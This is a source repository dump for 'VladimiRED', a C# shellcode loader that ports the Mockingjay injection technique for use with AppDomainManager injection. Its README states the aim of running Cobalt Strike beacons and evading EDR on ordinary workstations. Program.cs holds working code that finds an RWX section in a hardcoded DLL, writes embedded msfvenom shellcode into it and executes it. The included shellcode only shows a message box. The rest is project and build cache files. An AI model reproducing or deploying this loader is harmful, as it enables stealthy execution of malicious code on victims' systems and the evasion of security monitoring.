├── LICENSE
├── README.md
├── VladimiRED.png
├── VladimiRED.sln
└── VladimiRED
├── App.config
├── Program.cs
├── Properties
└── AssemblyInfo.cs
├── VladimiRED.csproj
├── VladimiRED.csproj.user
├── key.snk
└── obj
├── Debug
├── DesignTimeResolveAssemblyReferencesInput.cache
└── VladimiRED.csproj.AssemblyReference.cache
├── Release
├── DesignTimeResolveAssemblyReferencesInput.cache
└── VladimiRED.csproj.AssemblyReference.cache
└── x64
└── Release
├── DesignTimeResolveAssemblyReferencesInput.cache
├── VladimiRED.csproj.AssemblyReference.cache
├── VladimiRED.csproj.CoreCompileInputs.cache
├── VladimiRED.csproj.FileListAbsolute.txt
├── VladimiRED.dll
└── VladimiRED.pdb
/LICENSE:
--------------------------------------------------------------------------------
1 | MIT License
2 |
3 | Copyright (c) 2024 kapellos
4 |
5 | Permission is hereby granted, free of charge, to any person obtaining a copy
6 | of this software and associated documentation files (the "Software"), to deal
7 | in the Software without restriction, including without limitation the rights
8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
9 | copies of the Software, and to permit persons to whom the Software is
10 | furnished to do so, subject to the following conditions:
11 |
12 | The above copyright notice and this permission notice shall be included in all
13 | copies or substantial portions of the Software.
14 |
15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
21 | SOFTWARE.
22 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # VladimiRED
2 |
3 | VladimiRED (you expect to get one thing and you end up with something else :satisfied:) is a C# port of Mockingjay injection technique (https://github.com/caueb/Mockingjay) to be used with AppDomainManager Injection Method.
4 |
5 | The produced dll injects shellcode into already existing RWX regions via Marshaling avoiding using pinvoke related injection calls.
6 |
7 | 
8 |
9 | # Usage
10 | You will need a 64bit AppDomainManager Microsoft Signed application to run this (unless you revert this to a standard console application).
11 |
12 | I suggest the excellent resources by Mr. Mr-Un1k0d3r:
13 |
14 | 1)https://github.com/Mr-Un1k0d3r/.NetConfigLoader
15 |
16 | 2)https://raw.githubusercontent.com/Mr-Un1k0d3r/.NetConfigLoader/main/signed.txt
17 |
18 | Also you will need some other "vulnerable" dll since the original, which is also used in this project, has limited shellcode space for a CS beacon. You can find them using the python script ([https://github.com/caueb/Mockingjay](https://github.com/caueb/Mockingjay/blob/main/rwx_finder.py)) in everyday workstations :smirk:.
19 |
20 | Most importantly you will need a solid shellcode encryption/download method which I do not provide here if you really need to evade EDRs.
21 |
22 | # Credits
23 | - Charles Hamilton ([@MrUn1k0d3r](https://twitter.com/MrUn1k0d3r))
24 | - Caue B [caueb](https://github.com/caueb)
25 | - Technique originally published by [Security Joes](https://www.securityjoes.com/post/process-mockingjay-echoing-rwx-in-userland-to-achieve-code-execution) that takes advantage of RWX sections in DLLs to allocate and execute code.
26 | - https://www.tiktok.com/@vladimir_ncl for the laughs given.
27 |
28 |
29 |
--------------------------------------------------------------------------------
/VladimiRED.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/kapellos/VladimiRED/efe19bb30c78ebce8a795f60bf3ac49bf92f4d09/VladimiRED.png
--------------------------------------------------------------------------------
/VladimiRED.sln:
--------------------------------------------------------------------------------
1 |
2 | Microsoft Visual Studio Solution File, Format Version 12.00
3 | # Visual Studio Version 17
4 | VisualStudioVersion = 17.12.35527.113 d17.12
5 | MinimumVisualStudioVersion = 10.0.40219.1
6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "VladimiRED", "VladimiRED\VladimiRED.csproj", "{C25849FE-EEA8-4E6D-8C16-6512577DC747}"
7 | EndProject
8 | Global
9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution
10 | Debug|Any CPU = Debug|Any CPU
11 | Debug|x64 = Debug|x64
12 | Release|Any CPU = Release|Any CPU
13 | Release|x64 = Release|x64
14 | EndGlobalSection
15 | GlobalSection(ProjectConfigurationPlatforms) = postSolution
16 | {C25849FE-EEA8-4E6D-8C16-6512577DC747}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
17 | {C25849FE-EEA8-4E6D-8C16-6512577DC747}.Debug|Any CPU.Build.0 = Debug|Any CPU
18 | {C25849FE-EEA8-4E6D-8C16-6512577DC747}.Debug|x64.ActiveCfg = Debug|x64
19 | {C25849FE-EEA8-4E6D-8C16-6512577DC747}.Debug|x64.Build.0 = Debug|x64
20 | {C25849FE-EEA8-4E6D-8C16-6512577DC747}.Release|Any CPU.ActiveCfg = Release|Any CPU
21 | {C25849FE-EEA8-4E6D-8C16-6512577DC747}.Release|Any CPU.Build.0 = Release|Any CPU
22 | {C25849FE-EEA8-4E6D-8C16-6512577DC747}.Release|x64.ActiveCfg = Release|x64
23 | {C25849FE-EEA8-4E6D-8C16-6512577DC747}.Release|x64.Build.0 = Release|x64
24 | EndGlobalSection
25 | GlobalSection(SolutionProperties) = preSolution
26 | HideSolutionNode = FALSE
27 | EndGlobalSection
28 | EndGlobal
29 |
--------------------------------------------------------------------------------
/VladimiRED/App.config:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
--------------------------------------------------------------------------------
/VladimiRED/Program.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Diagnostics;
3 | using System.Runtime.InteropServices;
4 |
5 |
6 | public sealed class VladimiRED : AppDomainManager
7 | {
8 | //msfvenom -p windows/x64/messagebox TEXT="VladimiRED" -f csharp
9 | static byte[] payload = new byte[]
10 | {
11 | 0xfc,0x48,0x81,0xe4,0xf0,0xff,
12 | 0xff,0xff,0xe8,0xd0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,
13 | 0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x3e,0x48,
14 | 0x8b,0x52,0x18,0x3e,0x48,0x8b,0x52,0x20,0x3e,0x48,0x8b,0x72,
15 | 0x50,0x3e,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,0x48,0x31,
16 | 0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,
17 | 0x41,0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,0x3e,0x48,0x8b,0x52,
18 | 0x20,0x3e,0x8b,0x42,0x3c,0x48,0x01,0xd0,0x3e,0x8b,0x80,0x88,
19 | 0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x6f,0x48,0x01,0xd0,0x50,
20 | 0x3e,0x8b,0x48,0x18,0x3e,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,
21 | 0xe3,0x5c,0x48,0xff,0xc9,0x3e,0x41,0x8b,0x34,0x88,0x48,0x01,
22 | 0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,0xc1,0xc9,0x0d,
23 | 0x41,0x01,0xc1,0x38,0xe0,0x75,0xf1,0x3e,0x4c,0x03,0x4c,0x24,
24 | 0x08,0x45,0x39,0xd1,0x75,0xd6,0x58,0x3e,0x44,0x8b,0x40,0x24,
25 | 0x49,0x01,0xd0,0x66,0x3e,0x41,0x8b,0x0c,0x48,0x3e,0x44,0x8b,
26 | 0x40,0x1c,0x49,0x01,0xd0,0x3e,0x41,0x8b,0x04,0x88,0x48,0x01,
27 | 0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59,
28 | 0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,
29 | 0x59,0x5a,0x3e,0x48,0x8b,0x12,0xe9,0x49,0xff,0xff,0xff,0x5d,
30 | 0x3e,0x48,0x8d,0x8d,0x24,0x01,0x00,0x00,0x41,0xba,0x4c,0x77,
31 | 0x26,0x07,0xff,0xd5,0x49,0xc7,0xc1,0x00,0x00,0x00,0x00,0x3e,
32 | 0x48,0x8d,0x95,0x0e,0x01,0x00,0x00,0x3e,0x4c,0x8d,0x85,0x19,
33 | 0x01,0x00,0x00,0x48,0x31,0xc9,0x41,0xba,0x45,0x83,0x56,0x07,
34 | 0xff,0xd5,0x48,0x31,0xc9,0x41,0xba,0xf0,0xb5,0xa2,0x56,0xff,
35 | 0xd5,0x56,0x6c,0x61,0x64,0x69,0x6d,0x69,0x52,0x45,0x44,0x00,
36 | 0x4d,0x65,0x73,0x73,0x61,0x67,0x65,0x42,0x6f,0x78,0x00,0x75,
37 | 0x73,0x65,0x72,0x33,0x32,0x2e,0x64,0x6c,0x6c,0x00
38 | };
39 |
40 |
41 | [StructLayout(LayoutKind.Sequential)]
42 | struct SectionDescriptor
43 | {
44 | public IntPtr Start;
45 | public IntPtr End;
46 | }
47 |
48 | // Import necessary WinAPI functions from the correct DLLs
49 | [DllImport("kernel32.dll", SetLastError = true)]
50 | static extern IntPtr LoadLibrary(string lpLibFileName);
51 |
52 | [DllImport("psapi.dll", SetLastError = true)]
53 | static extern bool GetModuleInformation(IntPtr hProcess, IntPtr hModule, out MODULEINFO lpmodinfo, uint cb);
54 |
55 | [StructLayout(LayoutKind.Sequential)]
56 | struct MODULEINFO
57 | {
58 | public IntPtr lpBaseOfDll;
59 | public uint SizeOfImage;
60 | public IntPtr EntryPoint;
61 | }
62 |
63 | [DllImport("Dbghelp.dll", SetLastError = true)]
64 | static extern IntPtr ImageNtHeader(IntPtr hModule);
65 |
66 | [StructLayout(LayoutKind.Sequential)]
67 | struct IMAGE_DOS_HEADER
68 | {
69 | public ushort e_magic;
70 | public ushort e_cblp;
71 | public ushort e_cp;
72 | public ushort e_crlc;
73 | public ushort e_cparhdr;
74 | public ushort e_minalloc;
75 | public ushort e_maxalloc;
76 | public ushort e_ss;
77 | public ushort e_sp;
78 | public ushort e_csum;
79 | public ushort e_ip;
80 | public ushort e_cs;
81 | public ushort e_lfarlc;
82 | public ushort e_ovno;
83 | [MarshalAs(UnmanagedType.ByValArray, SizeConst = 4)]
84 | public ushort[] e_res1;
85 | public ushort e_oemid;
86 | public ushort e_oeminfo;
87 | [MarshalAs(UnmanagedType.ByValArray, SizeConst = 10)]
88 | public ushort[] e_res2;
89 | public int e_lfanew; // File address of the new exe header
90 | }
91 |
92 | [StructLayout(LayoutKind.Sequential)]
93 | struct IMAGE_FILE_HEADER
94 | {
95 | public ushort Machine;
96 | public ushort NumberOfSections;
97 | public uint TimeDateStamp;
98 | public uint PointerToSymbolTable;
99 | public uint NumberOfSymbols;
100 | public ushort SizeOfOptionalHeader;
101 | public ushort Characteristics;
102 | }
103 |
104 | [StructLayout(LayoutKind.Sequential)]
105 | struct IMAGE_OPTIONAL_HEADER64
106 | {
107 | public ushort Magic;
108 | public byte MajorLinkerVersion;
109 | public byte MinorLinkerVersion;
110 | public uint SizeOfCode;
111 | public uint SizeOfInitializedData;
112 | public uint SizeOfUninitializedData;
113 | public uint AddressOfEntryPoint;
114 | public uint BaseOfCode;
115 | public ulong ImageBase;
116 | public uint SectionAlignment;
117 | public uint FileAlignment;
118 | public ushort MajorOperatingSystemVersion;
119 | public ushort MinorOperatingSystemVersion;
120 | public ushort MajorImageVersion;
121 | public ushort MinorImageVersion;
122 | public ushort MajorSubsystemVersion;
123 | public ushort MinorSubsystemVersion;
124 | public uint Win32VersionValue;
125 | public uint SizeOfImage;
126 | public uint SizeOfHeaders;
127 | public uint CheckSum;
128 | public ushort Subsystem;
129 | public ushort DllCharacteristics;
130 | public ulong SizeOfStackReserve;
131 | public ulong SizeOfStackCommit;
132 | public ulong SizeOfHeapReserve;
133 | public ulong SizeOfHeapCommit;
134 | public uint LoaderFlags;
135 | public uint NumberOfRvaAndSizes;
136 | }
137 |
138 |
139 | [StructLayout(LayoutKind.Sequential)]
140 | struct IMAGE_NT_HEADERS
141 | {
142 | public uint Signature;
143 | public IMAGE_FILE_HEADER FileHeader;
144 | public IMAGE_OPTIONAL_HEADER OptionalHeader;
145 | }
146 |
147 |
148 | [StructLayout(LayoutKind.Sequential)]
149 | struct IMAGE_OPTIONAL_HEADER
150 | {
151 | // Define fields specific to 32-bit PE files
152 | }
153 |
154 | [StructLayout(LayoutKind.Sequential)]
155 | struct IMAGE_SECTION_HEADER
156 | {
157 | [MarshalAs(UnmanagedType.ByValArray, SizeConst = 8)]
158 | public byte[] Name;
159 | public uint PhysicalAddress;
160 | public uint VirtualAddress;
161 | public uint SizeOfRawData;
162 | public uint PointerToRawData;
163 | public uint PointerToRelocations;
164 | public uint PointerToLinenumbers;
165 | public ushort NumberOfRelocations;
166 | public ushort NumberOfLinenumbers;
167 | public uint Characteristics;
168 | }
169 |
170 | [StructLayout(LayoutKind.Sequential)]
171 | struct IMAGE_NT_HEADERS64
172 | {
173 | public uint Signature;
174 | public IMAGE_FILE_HEADER FileHeader;
175 | public IMAGE_OPTIONAL_HEADER64 OptionalHeader;
176 | }
177 |
178 | const uint IMAGE_SCN_MEM_EXECUTE = 0x20000000;
179 | const uint IMAGE_SCN_MEM_WRITE = 0x80000000;
180 | const uint IMAGE_SCN_MEM_READ = 0x40000000;
181 |
182 | static IntPtr FindRWXOffset(IntPtr hModule)
183 | {
184 | // Get the NT headers
185 | IntPtr ntHeaderPtr = ImageNtHeader(hModule);
186 | if (ntHeaderPtr == IntPtr.Zero)
187 | {
188 | Console.WriteLine("[-] Failed to get NT header.");
189 | return IntPtr.Zero;
190 | }
191 |
192 | // Read the NT headers structure
193 | IMAGE_NT_HEADERS64 ntHeader = Marshal.PtrToStructure(ntHeaderPtr);
194 |
195 | // Calculate the pointer to the first section header
196 | int optionalHeaderSize = ntHeader.FileHeader.SizeOfOptionalHeader;
197 | IntPtr sectionHeaderPtr = ntHeaderPtr + Marshal.OffsetOf(typeof(IMAGE_NT_HEADERS64), "OptionalHeader").ToInt32() + optionalHeaderSize;
198 |
199 | // Iterate through the section headers to find RWX sections
200 | for (int i = 0; i < ntHeader.FileHeader.NumberOfSections; i++)
201 | {
202 | IMAGE_SECTION_HEADER sectionHeader = Marshal.PtrToStructure(sectionHeaderPtr);
203 |
204 | // Check if the section has RWX characteristics
205 | if ((sectionHeader.Characteristics & (IMAGE_SCN_MEM_EXECUTE | IMAGE_SCN_MEM_WRITE | IMAGE_SCN_MEM_READ)) ==
206 | (IMAGE_SCN_MEM_EXECUTE | IMAGE_SCN_MEM_WRITE | IMAGE_SCN_MEM_READ))
207 | {
208 | // Print information about the found section
209 | Console.WriteLine($"[i] DLL base address: 0x{hModule.ToString("X")}");
210 | Console.WriteLine($"\t[i] RWX section offset (RVA): 0x{sectionHeader.VirtualAddress:X}");
211 | Console.WriteLine($"\t[i] RWX section size: 0x{sectionHeader.SizeOfRawData:X} bytes");
212 |
213 | // Return the relative virtual address (RVA) as the offset
214 | return (IntPtr)sectionHeader.VirtualAddress;
215 | }
216 |
217 | // Move to the next section header
218 | sectionHeaderPtr = IntPtr.Add(sectionHeaderPtr, Marshal.SizeOf(typeof(IMAGE_SECTION_HEADER)));
219 | }
220 |
221 | Console.WriteLine("[-] No RWX section found.");
222 | return IntPtr.Zero;
223 | }
224 |
225 | static uint FindRWXSize(IntPtr hModule)
226 | {
227 | // Get the NT headers
228 | IntPtr ntHeaderPtr = ImageNtHeader(hModule);
229 | if (ntHeaderPtr == IntPtr.Zero)
230 | {
231 | Console.WriteLine("[-] Failed to get NT header.");
232 | return 0;
233 | }
234 |
235 | IMAGE_NT_HEADERS ntHeaders = Marshal.PtrToStructure(ntHeaderPtr);
236 | IntPtr sectionHeaderPtr = GetSectionHeaderPtr(ntHeaderPtr, true);
237 |
238 | // Iterate through the section headers to find RWX sections
239 | for (int i = 0; i < ntHeaders.FileHeader.NumberOfSections; i++)
240 | {
241 | IMAGE_SECTION_HEADER sectionHeader = Marshal.PtrToStructure(sectionHeaderPtr);
242 |
243 | // Check if the section has RWX characteristics
244 | if ((sectionHeader.Characteristics & (IMAGE_SCN_MEM_EXECUTE | IMAGE_SCN_MEM_WRITE | IMAGE_SCN_MEM_READ)) ==
245 | (IMAGE_SCN_MEM_EXECUTE | IMAGE_SCN_MEM_WRITE | IMAGE_SCN_MEM_READ))
246 | {
247 | Console.WriteLine($"\t[i] RWX section size: {sectionHeader.SizeOfRawData} bytes");
248 | return sectionHeader.SizeOfRawData;
249 | }
250 |
251 | // Move to the next section header
252 | sectionHeaderPtr = IntPtr.Add(sectionHeaderPtr, Marshal.SizeOf(typeof(IMAGE_SECTION_HEADER)));
253 | }
254 |
255 | Console.WriteLine("[-] No RWX section found.");
256 | return 0;
257 | }
258 |
259 |
260 | // Helper function to get section header pointer
261 | static IntPtr GetSectionHeaderPtr(IntPtr ntHeaderPtr, bool is64Bit)
262 | {
263 | int optionalHeaderOffset = Marshal.OffsetOf(typeof(IMAGE_NT_HEADERS), "OptionalHeader").ToInt32();
264 | int optionalHeaderSize = Marshal.PtrToStructure(ntHeaderPtr).FileHeader.SizeOfOptionalHeader;
265 |
266 | return ntHeaderPtr + optionalHeaderOffset + optionalHeaderSize;
267 | }
268 |
269 | static void WriteCodeToSection(IntPtr rwxSectionAddr, byte[] kitsos, int sizekitsos)
270 | {
271 | Marshal.Copy(kitsos, 0, rwxSectionAddr, sizekitsos);
272 | Console.WriteLine($"[i] {sizekitsos} bytes of code written to RWX memory region");
273 | }
274 |
275 | static void ExecuteCodeFromSection(IntPtr rwxSectionAddr)
276 | {
277 | Console.WriteLine("[i] Calling the RWX region address to execute the payload");
278 | var execDelegate = (Action)Marshal.GetDelegateForFunctionPointer(rwxSectionAddr, typeof(Action));
279 | execDelegate();
280 | }
281 |
282 | public override void InitializeNewDomain(AppDomainSetup appDomainInfo)
283 | {
284 | string vulnDLLPath = @"C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\CommonExtensions\Microsoft\TeamFoundation\Team Explorer\Git\usr\bin\msys-2.0.dll";
285 |
286 | IntPtr hDll = LoadLibrary(vulnDLLPath);
287 |
288 | if (hDll == IntPtr.Zero)
289 | {
290 | Console.WriteLine("[-] Failed to load the targeted DLL");
291 | return;
292 | }
293 |
294 | if (!GetModuleInformation(Process.GetCurrentProcess().Handle, hDll, out MODULEINFO moduleInfo, (uint)Marshal.SizeOf(typeof(MODULEINFO))))
295 | {
296 | Console.WriteLine("[-] Failed to get module info");
297 | return;
298 | }
299 |
300 | IntPtr rwxSectionOffset = FindRWXOffset(hDll);
301 | uint rwxSectionSize = FindRWXSize(hDll);
302 |
303 | IntPtr rwxSectionAddr = moduleInfo.lpBaseOfDll + (int)rwxSectionOffset;
304 |
305 | SectionDescriptor descriptor = new SectionDescriptor
306 | {
307 | Start = rwxSectionAddr,
308 | End = rwxSectionAddr + (int)rwxSectionSize
309 | };
310 |
311 | Console.WriteLine($"[i] RWX section starts at 0x{descriptor.Start} and ends at 0x{descriptor.End}");
312 |
313 | int kitsosSize = payload.Length;
314 |
315 | WriteCodeToSection(rwxSectionAddr, payload, kitsosSize);
316 |
317 | ExecuteCodeFromSection(rwxSectionAddr);
318 | }
319 | }
320 |
--------------------------------------------------------------------------------
/VladimiRED/Properties/AssemblyInfo.cs:
--------------------------------------------------------------------------------
1 | using System.Reflection;
2 | using System.Runtime.CompilerServices;
3 | using System.Runtime.InteropServices;
4 |
5 | // General Information about an assembly is controlled through the following
6 | // set of attributes. Change these attribute values to modify the information
7 | // associated with an assembly.
8 | [assembly: AssemblyTitle("VladimiRED")]
9 | [assembly: AssemblyDescription("")]
10 | [assembly: AssemblyConfiguration("")]
11 | [assembly: AssemblyCompany("")]
12 | [assembly: AssemblyProduct("VladimiRED")]
13 | [assembly: AssemblyCopyright("Copyright © 2024")]
14 | [assembly: AssemblyTrademark("")]
15 | [assembly: AssemblyCulture("")]
16 |
17 | // Setting ComVisible to false makes the types in this assembly not visible
18 | // to COM components. If you need to access a type in this assembly from
19 | // COM, set the ComVisible attribute to true on that type.
20 | [assembly: ComVisible(false)]
21 |
22 | // The following GUID is for the ID of the typelib if this project is exposed to COM
23 | [assembly: Guid("c25849fe-eea8-4e6d-8c16-6512577dc747")]
24 |
25 | // Version information for an assembly consists of the following four values:
26 | //
27 | // Major Version
28 | // Minor Version
29 | // Build Number
30 | // Revision
31 | //
32 | [assembly: AssemblyVersion("1.0.0.0")]
33 | [assembly: AssemblyFileVersion("1.0.0.0")]
34 |
--------------------------------------------------------------------------------
/VladimiRED/VladimiRED.csproj:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | Debug
6 | AnyCPU
7 | {C25849FE-EEA8-4E6D-8C16-6512577DC747}
8 | Library
9 | VladimiRED
10 | VladimiRED
11 | v4.8
12 | 512
13 | true
14 | true
15 | publish\
16 | true
17 | Disk
18 | false
19 | Foreground
20 | 7
21 | Days
22 | false
23 | false
24 | true
25 | 0
26 | 1.0.0.%2a
27 | false
28 | false
29 | true
30 |
31 |
32 | AnyCPU
33 | true
34 | full
35 | false
36 | bin\Debug\
37 | DEBUG;TRACE
38 | prompt
39 | 4
40 |
41 |
42 | AnyCPU
43 | pdbonly
44 | true
45 | bin\Release\
46 | TRACE
47 | prompt
48 | 4
49 |
50 |
51 | true
52 | bin\x64\Debug\
53 | DEBUG;TRACE
54 | full
55 | x64
56 | 7.3
57 | prompt
58 | true
59 |
60 |
61 | bin\x64\Release\
62 |
63 |
64 | false
65 | pdbonly
66 | x64
67 | 7.3
68 | prompt
69 | true
70 | true
71 |
72 |
73 |
74 |
75 |
76 | true
77 |
78 |
79 | key.snk
80 |
81 |
82 |
83 |
84 |
85 |
86 |
87 |
88 |
89 |
90 |
91 |
92 |
93 |
94 |
95 |
96 |
97 |
98 |
99 |
100 |
101 | False
102 | Microsoft .NET Framework 4.8 %28x86 and x64%29
103 | true
104 |
105 |
106 | False
107 | .NET Framework 3.5 SP1
108 | false
109 |
110 |
111 |
112 |
--------------------------------------------------------------------------------
/VladimiRED/VladimiRED.csproj.user:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 | publish\
5 |
6 |
7 |
8 |
9 |
10 | en-US
11 | false
12 |
13 |
--------------------------------------------------------------------------------
/VladimiRED/key.snk:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/kapellos/VladimiRED/efe19bb30c78ebce8a795f60bf3ac49bf92f4d09/VladimiRED/key.snk
--------------------------------------------------------------------------------
/VladimiRED/obj/Debug/DesignTimeResolveAssemblyReferencesInput.cache:
--------------------------------------------------------------------------------
1 | .winmd.dll.exe
2 | )C:\Tools\VladimiRED\VladimiRED\App.configgC:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\.NETFramework\v4.8\Microsoft.CSharp.dll_C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\.NETFramework\v4.8\mscorlib.dllbC:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\.NETFramework\v4.8\System.Core.dlltC:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\.NETFramework\v4.8\System.Data.DataSetExtensions.dllbC:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\.NETFramework\v4.8\System.Data.dll]C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\.NETFramework\v4.8\System.dllfC:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\.NETFramework\v4.8\System.Net.Http.dllaC:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\.NETFramework\v4.8\System.Xml.dllfC:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\.NETFramework\v4.8\System.Xml.Linq.dll SC:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\.NETFramework\v4.8\ Full {CandidateAssemblyFiles}{HintPathFromItem}{TargetFrameworkDirectory}B{Registry:Software\Microsoft\.NETFramework,v4.8,AssemblyFoldersEx}
{RawFileName})C:\Tools\VladimiRED\VladimiRED\bin\Debug\ B{Registry:Software\Microsoft\.NETFramework,v4.8,AssemblyFoldersEx}RC:\Tools\VladimiRED\VladimiRED\obj\Debug\DesignTimeResolveAssemblyReferences.cache SC:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\.NETFramework\v4.8\[C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\.NETFramework\v4.8\Facades\.NETFramework,Version=v4.8.NET Framework 4.8v4.8msil
3 | v4.0.30319
--------------------------------------------------------------------------------
/VladimiRED/obj/Debug/VladimiRED.csproj.AssemblyReference.cache:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/kapellos/VladimiRED/efe19bb30c78ebce8a795f60bf3ac49bf92f4d09/VladimiRED/obj/Debug/VladimiRED.csproj.AssemblyReference.cache
--------------------------------------------------------------------------------
/VladimiRED/obj/Release/DesignTimeResolveAssemblyReferencesInput.cache:
--------------------------------------------------------------------------------
1 | .winmd.dll.exe
2 | )C:\Tools\VladimiRED\VladimiRED\App.configgC:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\.NETFramework\v4.8\Microsoft.CSharp.dll_C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\.NETFramework\v4.8\mscorlib.dllbC:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\.NETFramework\v4.8\System.Core.dlltC:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\.NETFramework\v4.8\System.Data.DataSetExtensions.dllbC:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\.NETFramework\v4.8\System.Data.dll]C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\.NETFramework\v4.8\System.dllfC:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\.NETFramework\v4.8\System.Net.Http.dllaC:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\.NETFramework\v4.8\System.Xml.dllfC:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\.NETFramework\v4.8\System.Xml.Linq.dll SC:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\.NETFramework\v4.8\ Full {CandidateAssemblyFiles}{HintPathFromItem}{TargetFrameworkDirectory}B{Registry:Software\Microsoft\.NETFramework,v4.8,AssemblyFoldersEx}
{RawFileName}+C:\Tools\VladimiRED\VladimiRED\bin\Release\ B{Registry:Software\Microsoft\.NETFramework,v4.8,AssemblyFoldersEx}TC:\Tools\VladimiRED\VladimiRED\obj\Release\DesignTimeResolveAssemblyReferences.cache SC:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\.NETFramework\v4.8\[C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\.NETFramework\v4.8\Facades\.NETFramework,Version=v4.8.NET Framework 4.8v4.8msil
3 | v4.0.30319
--------------------------------------------------------------------------------
/VladimiRED/obj/Release/VladimiRED.csproj.AssemblyReference.cache:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/kapellos/VladimiRED/efe19bb30c78ebce8a795f60bf3ac49bf92f4d09/VladimiRED/obj/Release/VladimiRED.csproj.AssemblyReference.cache
--------------------------------------------------------------------------------
/VladimiRED/obj/x64/Release/DesignTimeResolveAssemblyReferencesInput.cache:
--------------------------------------------------------------------------------
1 | .winmd.dll.exe )C:\Tools\VladimiRED\VladimiRED\App.config&C:\Tools\VladimiRED\VladimiRED\key.snkgC:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\.NETFramework\v4.8\Microsoft.CSharp.dll_C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\.NETFramework\v4.8\mscorlib.dllbC:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\.NETFramework\v4.8\System.Core.dlltC:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\.NETFramework\v4.8\System.Data.DataSetExtensions.dllbC:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\.NETFramework\v4.8\System.Data.dll]C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\.NETFramework\v4.8\System.dllfC:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\.NETFramework\v4.8\System.Net.Http.dllaC:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\.NETFramework\v4.8\System.Xml.dllfC:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\.NETFramework\v4.8\System.Xml.Linq.dll SC:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\.NETFramework\v4.8\ Full {CandidateAssemblyFiles}{HintPathFromItem}{TargetFrameworkDirectory}B{Registry:Software\Microsoft\.NETFramework,v4.8,AssemblyFoldersEx}
{RawFileName}/C:\Tools\VladimiRED\VladimiRED\bin\x64\Release\ B{Registry:Software\Microsoft\.NETFramework,v4.8,AssemblyFoldersEx}XC:\Tools\VladimiRED\VladimiRED\obj\x64\Release\DesignTimeResolveAssemblyReferences.cache SC:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\.NETFramework\v4.8\[C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\.NETFramework\v4.8\Facades\.NETFramework,Version=v4.8.NET Framework 4.8v4.8amd64
2 | v4.0.30319
--------------------------------------------------------------------------------
/VladimiRED/obj/x64/Release/VladimiRED.csproj.AssemblyReference.cache:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/kapellos/VladimiRED/efe19bb30c78ebce8a795f60bf3ac49bf92f4d09/VladimiRED/obj/x64/Release/VladimiRED.csproj.AssemblyReference.cache
--------------------------------------------------------------------------------
/VladimiRED/obj/x64/Release/VladimiRED.csproj.CoreCompileInputs.cache:
--------------------------------------------------------------------------------
1 | e84898b942196ebfab0168e8a3e0f946ee2fd239da84cf73797585bc6a719bfa
2 |
--------------------------------------------------------------------------------
